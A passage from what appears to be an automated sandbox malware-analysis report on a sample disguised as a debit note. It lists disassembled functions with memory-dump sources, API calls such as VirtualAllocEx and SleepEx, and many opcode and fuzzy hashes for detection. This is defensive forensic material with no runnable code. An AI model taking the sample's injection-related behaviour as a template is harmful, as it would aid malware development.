Opcode Fuzzy Hash: 94f44e156427f1f01cfce6f26ea5dc302d48e350f30faeaeeaac76de47714e08
Instruction Fuzzy Hash: 9C11F4B1D002499FDB10DFAAC844AEEFBF4FF48320F14842AD459A7250C775A944CFA5

Function 06E71EF8 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 06E71F67

Memory Dump Source

Source File: 00000000.00000002.1941932242.0000000006E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e70000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7137110bbbaa2f1196facb88c95b664de51a8de025780ef525db4e3c4dffafab
Instruction ID: 63ef8d6717fd4be4297c4ee0763553879acda984553a4feb1d290c0b848cd18b
Opcode Fuzzy Hash: 7137110bbbaa2f1196facb88c95b664de51a8de025780ef525db4e3c4dffafab
Instruction Fuzzy Hash: 25113AB19003598FDB14DFAAC4457EEFBF8EF48324F24841AD455A7250C735A944CBA4

Function 065CA1A0 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 065CA20E

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6fbd94ba5c87bad485eee3f85477155cd4ad5beda3659c3ba0431348fecf9724
Instruction ID: 0a228b1dc211df25707ba69de707b4d5f0bd06305f82cd87d69593dde150dc88
Opcode Fuzzy Hash: 6fbd94ba5c87bad485eee3f85477155cd4ad5beda3659c3ba0431348fecf9724
Instruction Fuzzy Hash: 451126B19002499FCB10DFAAC844AEEFFF5EF88324F208419E559A7250C775A944CFA5

Function 06D1CD80 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

Pl^q, xrefs: 06D1CF68

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: Pl^q
API String ID: 0-2831078282
Opcode ID: de3b08dd8063712c91b13190e6144bd93466d8b098b9bd51c7d7728b01c88a82
Instruction ID: 24ba86035714daa300f4ae7cb6f7b94034ef8f036aefb127ad7a179fc039c160
Opcode Fuzzy Hash: de3b08dd8063712c91b13190e6144bd93466d8b098b9bd51c7d7728b01c88a82
Instruction Fuzzy Hash: 51911170B501189FCB44DF28D484AAA7BF6AF89710F2040A9E505DF3B5DBB5ED42CBA1

Function 06CF0E32 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06CF105A

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 9d431f34b1e51899c6d06823687a8df94c83751abef94e7ce1fc0a0902456a13
Instruction ID: 29154d1d88e81e4a779dc702d4f3562d84c3903e1fc87428ac7a6d05c1d24f85
Opcode Fuzzy Hash: 9d431f34b1e51899c6d06823687a8df94c83751abef94e7ce1fc0a0902456a13
Instruction Fuzzy Hash: CEA1FD34B10118CFCB84EFA4D898A9DB7B2FF89700F158559E906AB365DB70ED46CB90

Function 06DFB5F8 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

pbq, xrefs: 06DFB6A8

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: pbq
API String ID: 0-3896149868
Opcode ID: 59b3a489da09fa0f98d97f160c71dc50a51adeb3171eb7ee053ebbdf7266b3bb
Instruction ID: 0916449e88f74893cd23b6c2d6ead36bb10b3523753429d56431fffcae2fef16
Opcode Fuzzy Hash: 59b3a489da09fa0f98d97f160c71dc50a51adeb3171eb7ee053ebbdf7266b3bb
Instruction Fuzzy Hash: 5B515B76640104AFDB499FA8D914D69BBB7FF8C7107168499E209CF376CA32DC22EB50

Function 06CF5B38 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

(bq, xrefs: 06CF5C64

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: e99f1fd9727ad36cf945cc2688971b3c88adedacd71e875c1216c8b5c955d5d5
Instruction ID: 15c3021ed82a7ad3e3f25109135eb2b3bb7005edb839a2cdae0bff6d4b1e211f
Opcode Fuzzy Hash: e99f1fd9727ad36cf945cc2688971b3c88adedacd71e875c1216c8b5c955d5d5
Instruction Fuzzy Hash: AE51B036614244AFCB469F68D804D5A7FB6FF8932071580E6E605CF2B2CA31DC11DB91

Function 06D108D1 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

@, xrefs: 06D10987

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: af910d91757d889007095ffcc59e3d1283ab3da6dfc34123bf3acd4c12a53933
Instruction ID: 3db216a26fb6e7fdb3107cf840d5728560a534ae6e8b3576b86f8b90c55537f0
Opcode Fuzzy Hash: af910d91757d889007095ffcc59e3d1283ab3da6dfc34123bf3acd4c12a53933
Instruction Fuzzy Hash: C9819F74A0122ADFEBA4DF68D884B9DB7B2FB49300F1080EAD909A7354DB745E81CF51

Function 06CF4AE8 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06CF4B22

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 4a98656e957a07e7ef0cfd3ade73fa9175d6caa2be956c6f7c0005bafe3ff10d
Instruction ID: b4ed0e22fd3f71ff6ab940f497206ce1cee03372ea7e02d832b99a5daa7a1043
Opcode Fuzzy Hash: 4a98656e957a07e7ef0cfd3ade73fa9175d6caa2be956c6f7c0005bafe3ff10d
Instruction Fuzzy Hash: BF417330B206148FCBC5BB64C864A6EB7B7AFC9B00F10441DE5169B399CF749D46DB91

Function 06CF44E0 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06CF4597

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 624fa1180ff6017953e7ed69f10710e9c4353103ef8df5040257ef81541da016
Instruction ID: 3126f12c5fb24455243e7c924f25c84172ce14ddd2abe999dcef4429d7883ce1
Opcode Fuzzy Hash: 624fa1180ff6017953e7ed69f10710e9c4353103ef8df5040257ef81541da016
Instruction Fuzzy Hash: F2416F717406049FD388DB29C955B2B77E6ABC8700F104468E60ACF3A6DE71EC42C7A1

Function 06CF44F0 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06CF4597

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: d091bd867485511fce46611fabf46e9fdfc53c495affc1ae333ebeca2f938932
Instruction ID: 9c718fd6a1df09ef7357d5346cbd277383401ca82c7d57c3864cda79783e5a6a
Opcode Fuzzy Hash: d091bd867485511fce46611fabf46e9fdfc53c495affc1ae333ebeca2f938932
Instruction Fuzzy Hash: CC313B717406149FD388DB69D954B2B77EAEBC8B10F104468E60A8F3A6DE75EC42CB90

Function 06DFBEA8 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

(bq, xrefs: 06DFBEF8

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 19cd252df48432b3b49cc943ba7a65aeb91b8a0dddf4cd3c5d38fe75a173f092
Instruction ID: 16ef0997d694befe5bc7c8ad56a4085d739c7938b946e5d3ab1a32c2adccc83b
Opcode Fuzzy Hash: 19cd252df48432b3b49cc943ba7a65aeb91b8a0dddf4cd3c5d38fe75a173f092
Instruction Fuzzy Hash: 44213436701295AFDB055F69D840AAE7F6BEFC9360B10407AFA09CB361CE718C01C7A0

Function 06CF4AD8 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06CF4B22

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 744e61c8d60b0b00e0e2d37e078271d5d3f8d6deadf8338436f03eda25c18343
Instruction ID: 54bfa0d9cb891b846fa913f82de0db54b1c69bf4b30685e6a71b58972713f424
Opcode Fuzzy Hash: 744e61c8d60b0b00e0e2d37e078271d5d3f8d6deadf8338436f03eda25c18343
Instruction Fuzzy Hash: 5821D530B102549BCBD96B65D854ABFBBABAFC9B00F10402DE516EB399CF708C46C791

Function 06D1FD70 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06D1FDA9

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: af821265e6944a5cedf3b3a5c8064dc094174a5e534ba3ced6b02786507faaca
Instruction ID: 3e2af57226ff120fcd5088d0c49098d21bcdc1ec808b0bbc8df017261ca2e6fc
Opcode Fuzzy Hash: af821265e6944a5cedf3b3a5c8064dc094174a5e534ba3ced6b02786507faaca
Instruction Fuzzy Hash: FD219F36B00104AFCF498FA4D944999BBB7FF8C310B0540A9EA0A9B375CB71DD06CBA0

Function 06C036CF Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06C03E99

Memory Dump Source

Source File: 00000000.00000002.1939027468.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c00000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 4ef864d23a82a17ae7d97f8d20be44da26c07aa8c9c37fd8c8904d1f86753cd3
Instruction ID: 558124f293498f3282a14bbb385b4b036040640261b89e975873ed9acd26d706
Opcode Fuzzy Hash: 4ef864d23a82a17ae7d97f8d20be44da26c07aa8c9c37fd8c8904d1f86753cd3
Instruction Fuzzy Hash: 6D318B74D0928ACFEB55CFAAD5046FEBBB1EF46301F00806AD115AB291C7381E85CFA1

Function 06DFD300 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

p`^q, xrefs: 06DFD366

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: p`^q
API String ID: 0-26641872
Opcode ID: 5b0acdb3262d4851bfa3b5f0564a24c843d5f0238fa3e7880090bd35a51067ce
Instruction ID: 5814aa249b37b8b033dea686b4114f6ae6e75d95e7b556b61c0f026df61a0ace
Opcode Fuzzy Hash: 5b0acdb3262d4851bfa3b5f0564a24c843d5f0238fa3e7880090bd35a51067ce
Instruction Fuzzy Hash: DD21C5B5E0421A8FCB50DFA8D8809AEBBF5FF45210F15456AD615A7315D730EA04C7A1

Function 06C3EE58 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<^q, xrefs: 06C3EE92

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: p<^q
API String ID: 0-1680888324
Opcode ID: b92e4dbc7632a5d6e97ba0dcfe22067b03eb15ce1cf3bc38a28b1ccff00fd730
Instruction ID: 7cae4c71a49261e56a20d5980c8650cfa9df114f34af4c07c4992ad0973bd13e
Opcode Fuzzy Hash: b92e4dbc7632a5d6e97ba0dcfe22067b03eb15ce1cf3bc38a28b1ccff00fd730
Instruction Fuzzy Hash: E6218B313002689FDB41CF2AC844AAA7BEAAF8D700F05409AFC54CB361CA71DD50CBA0

Function 06BE0ED0 Relevance: 1.3, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 06BE0F43

Memory Dump Source

Source File: 00000000.00000002.1938907646.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f14427578b9ae8f465918d44e0559a157041b52194ad3bf25ef0bcad6bda0ca3
Instruction ID: 5e72913bf9ad8e4bbacd217072c9bbfa9235c6466e1b7c4a0013f43521e4e461
Opcode Fuzzy Hash: f14427578b9ae8f465918d44e0559a157041b52194ad3bf25ef0bcad6bda0ca3
Instruction Fuzzy Hash: E61129B29002498FDB10DFA9C844BEEFBF5EF88324F24841AD459A7250C779A595CF94

Function 06BE0ED8 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 06BE0F43

Memory Dump Source

Source File: 00000000.00000002.1938907646.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f371e7309b0aef369d2e62c2decf3e1a80a1cf3dc0ac32bb5a268dc35703f29a
Instruction ID: 5516bd1720d17b2acde45f7847e2264ecb1dd00af3bd4f012a39982c991424c8
Opcode Fuzzy Hash: f371e7309b0aef369d2e62c2decf3e1a80a1cf3dc0ac32bb5a268dc35703f29a
Instruction Fuzzy Hash: AC1137B19002488FCB10DFAAC844BEEFBF5EF88320F208419D559A7250C775A554CF94

Function 070E2AD9 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

F, xrefs: 070E802A

Memory Dump Source

Source File: 00000000.00000002.1942103729.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70e0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: 12cd7a30853a069aa2d782f36485779feb23178e27dfa3c6a37430a3f81a793c
Instruction ID: 22166bf2212891cc6bec810a329af1d6869334270b4988ff6ed10524cd35c1c7
Opcode Fuzzy Hash: 12cd7a30853a069aa2d782f36485779feb23178e27dfa3c6a37430a3f81a793c
Instruction Fuzzy Hash: F621B7B4A0122ACFDB78DF14C858BA9B7B5FB4A305F1041EADA19A7A40D7785E84CF11

Function 06D147C1 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

., xrefs: 06D14825

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: c29713ac2c2eba8290c671797a3d850f97d8a2f9369c95652ebb25a231eca7ac
Instruction ID: 893a94e9962e29896d6de271d534f77877658e5272b8f9ea905847a26de4964b
Opcode Fuzzy Hash: c29713ac2c2eba8290c671797a3d850f97d8a2f9369c95652ebb25a231eca7ac
Instruction Fuzzy Hash: C601D078A01219CFEBA0CF68D984B8CB7F2FB89315F549095E608AB755C3749E82CF11

Function 06D184B1 Relevance: 1.3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

6, xrefs: 06D18726

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-498629140
Opcode ID: a458a50dc8c0905b2d081681b0375b98301a000be75ee41c35effe9540867541
Instruction ID: 0b48314df3d365757eb75a86ec11ac072cb2617ff77ff3cf63ab23045923247b
Opcode Fuzzy Hash: a458a50dc8c0905b2d081681b0375b98301a000be75ee41c35effe9540867541
Instruction Fuzzy Hash: BC01A4B0A04119DFDB50CF14E899F8977B2FB46301F044499D905AF345C374D940DF22

Function 06C323C3 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

p, xrefs: 06C323EB

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: p
API String ID: 0-2181537457
Opcode ID: 6cf9c20b002551ff5654deec29aaf77e3571c4b1175a15edfbc54c85093bb9ae
Instruction ID: e4fdb1d62f91085b38f3fc52d1140abbd229af91a769ab4d3b1330660b60b46b
Opcode Fuzzy Hash: 6cf9c20b002551ff5654deec29aaf77e3571c4b1175a15edfbc54c85093bb9ae
Instruction Fuzzy Hash: ABF06275D59228CFEBA1DF74D884BDEB6B0BB09704F9006D9D41DA7240CB749A81CF41

Function 06DF85AF Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06DF85DE

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 6e5ef717753210a70c1f9330a89c9f16a7368ba34ef8fc2e67b38ff95236af32
Instruction ID: 6f3e37ce0c6ac03b1b91cafb0d83d6cb0f9b64454ddc78ad9fdd53221091eaec
Opcode Fuzzy Hash: 6e5ef717753210a70c1f9330a89c9f16a7368ba34ef8fc2e67b38ff95236af32
Instruction Fuzzy Hash: B5F05874A0021BCFCB64CF14C884BEEB7B2FB49300F1080EA991CA7354DA346D849F41

Function 06D15497 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

P, xrefs: 06D154A2

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 1960b1bdd5a8b783d7d28f8991bfdc185aa115b17c4daf1a05ba439770332497
Instruction ID: 6f50891f13007c79488fb42d54d86e60dc98425dadc103b1689464500f12a62c
Opcode Fuzzy Hash: 1960b1bdd5a8b783d7d28f8991bfdc185aa115b17c4daf1a05ba439770332497
Instruction Fuzzy Hash: 8FE06570540106EFE750CF54F888BAD77B1FB46305F10812591055B254C7B8AC44CF00

Function 06D1858A Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

9, xrefs: 06D185C1

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: 1b039c63b2d590f58e2716b52bffc8ddac76578462fd8de736d2581400cc2435
Instruction ID: c776a3dcaa4b1f9cfebbdeb58ac129bf7cced75389c93edffe786ab53f95ce2b
Opcode Fuzzy Hash: 1b039c63b2d590f58e2716b52bffc8ddac76578462fd8de736d2581400cc2435
Instruction Fuzzy Hash: DAE09A70119108EFDBA0DF18E888A9DB7B2FB06302F100199E586BB269CBB49D40DF01

Function 06D175E7 Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

/, xrefs: 06D17610

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: a9b45987cdc255df7934359edd9d55cafda6d1fd81fde9c27c38cca4230824c5
Instruction ID: c9a2318aafa8c41ff2232ff5c5ad3936502fa91e8b2e5966505cb2504f53b8d1
Opcode Fuzzy Hash: a9b45987cdc255df7934359edd9d55cafda6d1fd81fde9c27c38cca4230824c5
Instruction Fuzzy Hash: 26E0BD74D14268EBEB508F24E844BADB7F2BB16300F4000AAE90AAB250CB705E428F12

Function 06C30414 Relevance: 1.3, Strings: 1, Instructions: 11COMMON

Download Yara Rule

Strings

q, xrefs: 06C3043D

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-4110462503
Opcode ID: 5e21a357d9ceed05c098aa77813a49cf1902164859540954a335ed596078cf3a
Instruction ID: e12d20427447ae452afec7e355392046f7580dcb297c5839b2b99448f962a466
Opcode Fuzzy Hash: 5e21a357d9ceed05c098aa77813a49cf1902164859540954a335ed596078cf3a
Instruction Fuzzy Hash: 2DD0E23890422ACFDB21CF60C940A9EB7B2BF45204F0001E9880862240D7719E818F11

Function 06CF4D28 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b392b39a7ea15ed53b94bc486131dfb80c4e7ccee5acc2dbebda6126eaea634
Instruction ID: ec3aac5a03a3837e4bdffcb63e6d5cf21feda5387db0ef6aa4576a7dfe49af00
Opcode Fuzzy Hash: 4b392b39a7ea15ed53b94bc486131dfb80c4e7ccee5acc2dbebda6126eaea634
Instruction Fuzzy Hash: EE12E934A102198FCB94EF64C894B9DB7B2BF89300F5185A8D64AAB365DF70ED85CF50

Function 06D138C8 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bb766e37bad0735bc88c174ef64c25bd06c42567a4b13b6675005af142f7f94
Instruction ID: c366a049fe0984f07b6ebcfe4c7dcaee3dedfb6bf352847eb00e35908de3c003
Opcode Fuzzy Hash: 4bb766e37bad0735bc88c174ef64c25bd06c42567a4b13b6675005af142f7f94
Instruction Fuzzy Hash: 34B1FBB0D05209EFEB90CF9AE558BEEBBF2EB49315F019019D4557B240CBB89A45CF81

Function 06D138B8 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 115a85e5025881cc51cb6165ca9e4f97cda178bd58653c6810771f0bfa33e5a5
Instruction ID: a14a4434fecf5f57e68483d23ec9ddc269c27b574ca75e49c29790cac803b22f
Opcode Fuzzy Hash: 115a85e5025881cc51cb6165ca9e4f97cda178bd58653c6810771f0bfa33e5a5
Instruction Fuzzy Hash: 39B11CB0D05209EFEB90CF9AE4587EDBBF2EB09314F019059D455BB241CBB89A49CF81

Function 06D1DA81 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dbfa7dc0e5ab9ba2540cc3eaacae2e0d9bbaba6afdb678ffafc63845938cf76
Instruction ID: 7c919c7b9f6000eb43b01044dfa0906ab318d75afc76ce088d3046b5b7ad7568
Opcode Fuzzy Hash: 6dbfa7dc0e5ab9ba2540cc3eaacae2e0d9bbaba6afdb678ffafc63845938cf76
Instruction Fuzzy Hash: 68915575A00218DFCB54DF68D584A9EBBF6FF89310B1584A9E8069F361DB70EC42CB90

Function 06CF4D19 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4f59604f9c936a2fdd31601a1b7b9eca4ce409710ca2ec721ad367c749f0f6f
Instruction ID: 4dd5d1a6c8091d7622d94b1358ae9e5a783cad8e7a831e585e7abfdde589442e
Opcode Fuzzy Hash: e4f59604f9c936a2fdd31601a1b7b9eca4ce409710ca2ec721ad367c749f0f6f
Instruction Fuzzy Hash: 89A1FB34B102148FDB94DF24C894B99BBB2BF89300F5585A8E64AAB365DF70ED85CF50

Function 06CFD5A9 Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35da3a42e87e05fc0a896f0d3a21e8c1ef1782cbebf50621e31d7cc3033182d9
Instruction ID: 21d751c583722cc04c395e2550030fe7359ec701cdefcdef0ce31d22fd26ee32
